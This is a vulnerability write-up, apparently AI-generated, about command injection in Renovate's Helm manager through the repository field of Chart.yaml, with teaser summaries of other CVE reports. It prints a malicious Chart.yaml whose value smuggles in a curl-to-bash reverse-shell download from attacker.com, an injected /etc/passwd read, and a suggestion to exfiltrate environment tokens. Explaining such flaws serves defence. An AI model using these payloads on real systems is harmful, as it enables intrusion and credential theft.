CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-3F44-XW83-3PMG

Helm Breaks Loose: Command Injection in Renovate via Malicious Charts

Alon Barad
Alon Barad
Software Engineer

Feb 19, 2026·5 min read·54 visits

Executive Summary (TL;DR)

Renovate blindly passes the `repository` field from `Chart.yaml` to a `helm registry login` shell command. An attacker with commit access to a monitored repository can inject shell metacharacters (like `;` or `&&`) to execute arbitrary code on the Renovate runner.

A moderate severity command injection vulnerability exists in Renovate's Helm v3 manager. By crafting a malicious `Chart.yaml` file with a manipulated `repository` field, an attacker can execute arbitrary shell commands on the system running Renovate. This affects versions `31.51.0` through `40.32.x`, turning a routine dependency update scan into a potential remote code execution event.

The Automator's Dilemma

Renovate is the unsung hero of modern DevOps. It tirelessly scans your repositories, identifies outdated dependencies, and opens Pull Requests to keep you secure. It is effectively a robot with read/write access to your entire codebase and often runs with significant privileges in CI/CD pipelines to perform these tasks. But here is the catch: to do its job, Renovate must parse and interpret the configuration files it finds—files that are often controlled by developers, or in open-source contexts, potentially malicious contributors.

In this specific case, the vulnerability lies within the helmv3 manager. Helm, the package manager for Kubernetes, has moved towards OCI (Open Container Initiative) registries for storing charts. When Renovate encounters a Helm chart dependency pointing to an OCI registry, it attempts to be helpful by authenticating with that registry to check for updates. This helpfulness, implemented without sufficient paranoia, opens the door to a classic vulnerability class: OS Command Injection.

The Logic Flaw: Trusting the Chart

The flaw is conceptually simple but devastating. When Renovate parses a Chart.yaml file, it looks for dependencies. If a dependency specifies a repository URL, Renovate needs to interact with that repository. For OCI registries, the workflow involves logging in via the Helm CLI.

The logic flow looks roughly like this:

  1. Parse Chart.yaml.
  2. Extract the repository URL.
  3. Construct a shell command: helm registry login <repository> ....
  4. Execute the command.

The fatal error here is assuming that the repository field in a YAML file is actually a URL. In reality, it is just a string. If the application takes this string and concatenates it directly into a shell command without sanitization or using an argument array, the shell will interpret any special characters included in that string. It is the programmatic equivalent of letting a stranger write part of your terminal commands.

The Smoking Gun

While the exact source code snippet changes rapidly in active projects like Renovate, the mechanism of the flaw is classic. The vulnerable code effectively performed string interpolation for the system command.

The Vulnerable Pattern:

// Pseudo-code of the vulnerable logic
const cmd = `helm registry login ${repository} --username ${user} --password-stdin`;
await exec(cmd);

If repository is valid, like oci://ghcr.io, the command runs fine. But if repository is oci://ghcr.io; cat /etc/passwd, the shell sees two commands:

  1. helm registry login oci://ghcr.io
  2. cat /etc/passwd --username ...

The Fix: The patch in version 40.33.0 likely involves one of two standard mitigations: using execFile (or similar) where arguments are passed as an array (bypassing the shell interpreter entirely for arguments), or strictly validating that the repository string matches a safe URL pattern before usage.

// The secure pattern
const args = ['registry', 'login', repository, '--username', user, '--password-stdin'];
await execFile('helm', args);

By separating the command from its arguments at the kernel execution level, the malicious string is treated as a single literal argument rather than executable instructions.

Exploitation: Cracking the Vault

Exploiting this requires control over a repository that Renovate is configured to scan. This could be a legitimate developer going rogue, a compromised contributor account, or in a multi-tenant environment, a malicious customer adding a repo to the scan list.

Step 1: The Trap The attacker creates a standard Helm chart but modifies the Chart.yaml file. Inside the dependencies list, they inject the payload.

apiVersion: v2
name: malicious-chart
version: 0.1.0
dependencies:
  - name: innocent-dependency
    # The Payload
    repository: "oci://registry.example.com; curl -s http://attacker.com/revshell.sh | bash; #"
    version: 1.0.0

Step 2: The Trigger The attacker commits this file to the repository. When Renovate's scheduler runs (or is triggered via webhook), it clones the repo and parses Chart.yaml. It identifies the dependency as an OCI target and attempts to authenticate.

Step 3: Execution Renovate constructs the login command. The shell executes the login (which might fail or succeed, it doesn't matter), encounters the ; semicolon, and immediately proceeds to execute the curl command. The attacker now has a reverse shell on the Renovate runner.

The Impact: Why Panic?

Renovate runners are treasure troves. They are designed to interact with your version control systems (GitHub, GitLab, Bitbucket) and your package registries (npm, Docker Hub, Artifactory).

Credentials Exfiltration: The most immediate risk is the theft of environment variables. GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN, and DOCKER_AUTH credentials are often present in the runner's environment. An attacker with shell access can simply run env and send the output to a remote server.

Supply Chain Poisoning: With the stolen credentials, the attacker can pivot. They can push malicious code to other repositories the bot has access to, effectively using the bot's identity to bypass branch protection rules (since bots are often whitelisted admins) and compromise the entire organization's software supply chain.

Official Patches

RenovateOfficial Security Advisory

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Renovate (npm package)Self-hosted Renovate Bot instancesRenovate CLI

Affected Versions Detail

Product
Affected Versions
Fixed Version
Renovate
Mend
>= 31.51.0 < 40.33.040.33.0
AttributeDetail
CWE IDCWE-78
Attack VectorLocal / Repository-Based
CVSS (Estimated)6.5 (Moderate)
ImpactArbitrary Command Execution
Affected Componenthelmv3 manager
AuthenticationNone (relies on repo access)

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1552.001Credentials in Files
Credential Access
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Known Exploits & Detection

GitHub AdvisoryProof of concept involves modifying the repository field in Chart.yaml

Vulnerability Timeline

Advisory Published
2025-01-13
Patch Released in v40.33.0
2025-01-13

References & Sources

  • [1]GHSA Advisory
  • [2]Renovate v40.33.0 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 minute ago•CVE-2026-114157
7.5

CVE-2026-114157: Local Privilege Escalation via Race Condition in ASP.NET Core Kestrel Named Pipes Transport

CVE-2026-114157 is a high-severity local privilege escalation and security feature bypass vulnerability affecting ASP.NET Core on Microsoft Windows. The flaw resides in the Kestrel web server's Named Pipes transport layer (Microsoft.AspNetCore.Server.Kestrel.Transport.NamedPipes) and stems from a race condition (CWE-362) during broken pipe error recovery. When an active connection throws an IOException during handshake acceptance, the connection listener previously disposed of the broken NamedPipeServerStream instance before acquiring a replacement stream from its internal pool. This sequence created a momentary window where zero server instances of the named pipe existed in the Windows Named Pipe File System (NPFS). A local, low-privileged attacker can exploit this timing window to create a named pipe with the identical name and a permissive Discretionary Access Control List (DACL), hijacking subsequent inter-process communications and escalating privileges across security boundaries.

Amit Schendel
Amit Schendel
0 views•11 min read
•about 1 hour ago•CVE-2026-124194
6.5

CVE-2026-124194: Forced Authentication and NetNTLMv2 Credential Leakage in Microsoft Office Outlook

CVE-2026-124194 is a forced authentication and spoofing vulnerability in Microsoft Office Outlook caused by a missing user interface warning before dereferencing remote network paths (CWE-356). By embedding an attacker-controlled Universal Naming Convention (UNC) path within MAPI message properties such as PidLidReminderFileParameter, an unauthenticated remote attacker can force a victim's system to initiate an outbound SMB or WebDAV connection upon opening or previewing a crafted message. This automatic authentication handshake leaks the user's NetNTLMv2 hash, enabling offline password cracking or real-time NTLM relay attacks. The vulnerability was exploited in the wild as a zero-day prior to its remediation in Microsoft's November 2026 Patch Tuesday updates and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Alon Barad
Alon Barad
5 views•10 min read
•about 1 hour ago•CVE-2026-114154
7.5

CVE-2026-114154: Denial of Service in ASP.NET Core HttpSys Request Header Processing

CVE-2026-114154 is a high-severity Denial of Service (DoS) and uncontrolled resource consumption vulnerability in the Microsoft.AspNetCore.Server.HttpSys component of ASP.NET Core. When processing an HTTP request that simultaneously contains a chunked Transfer-Encoding header, a Content-Length header, and an explicit X-Content-Length header, the server throws an unhandled ArgumentException during header normalization. In certain versions, subsequent exception handling attempts to dereference a disposed native request context, aborting error response dispatch and leaking unmanaged HTTP.sys request structures.

Amit Schendel
Amit Schendel
2 views•9 min read
•about 2 hours ago•CVE-2026-120778
7.3

CVE-2026-120778: Local Elevation of Privilege via Insecure Temporary Directory Handling and MSBuild Response File Hijacking in Microsoft .NET Aspire CLI

A local elevation of privilege vulnerability exists in the Microsoft .NET Aspire CLI (`Aspire.Cli`) versions 13.5.4 prior to 13.6.5. When executing SDK management commands (`aspire sdk generate`, `aspire sdk dump`, and `aspire sdk export`), the CLI creates temporary project directories inside the shared operating system temporary folder (such as `/tmp` on Unix-like systems) without restricting directory permissions or disabling MSBuild automatic response file resolution. A local, low-privileged attacker on a multi-user system can place a crafted `Directory.Build.rsp` file in the shared temporary directory hierarchy. When a victim user executes an affected Aspire CLI command, MSBuild traverses upward, ingests the attacker-controlled response file, and executes arbitrary commands in the security context of the victim user.

Alon Barad
Alon Barad
2 views•10 min read
•about 3 hours ago•CVE-2026-120792
7.3

CVE-2026-120792: Local Information Disclosure via Temporary File Logging in Microsoft .NET Aspire CLI

CVE-2026-120792 is a high-severity local information disclosure vulnerability in the Microsoft .NET Aspire CLI (Aspire.Cli) affecting versions 13.5.4 prior to 13.6.5. The flaw stems from the insertion of sensitive information into a shared temporary log file (CWE-532) combined with insecure temporary file creation (CWE-377) within the DeprecatedMcpCommandScanner component. During agent configuration scanning, the CLI unconditionally appends internal workspace paths and the first 200 characters of Model Context Protocol (MCP) agent configuration files to a statically named file in the system temporary directory. On multi-user systems, unprivileged local users can read this file to harvest API keys, authentication tokens, and internal service endpoints.

Alon Barad
Alon Barad
3 views•9 min read
•about 4 hours ago•CVE-2026-114159
8.8

CVE-2026-114159: Heap-Based Buffer Overflow in Microsoft Visual Studio and .NET Native Symbol Reader

CVE-2026-114159 is a heap-based buffer overflow vulnerability (CWE-122) in Microsoft.DiaSymReader.Native affecting Microsoft Visual Studio and the .NET Runtime on Windows. An integer truncation error during the parsing of oversized document names in Portable PDB symbol files causes an undersized heap allocation, leading to an out-of-bounds memory write and remote code execution.

Alon Barad
Alon Barad
6 views•10 min read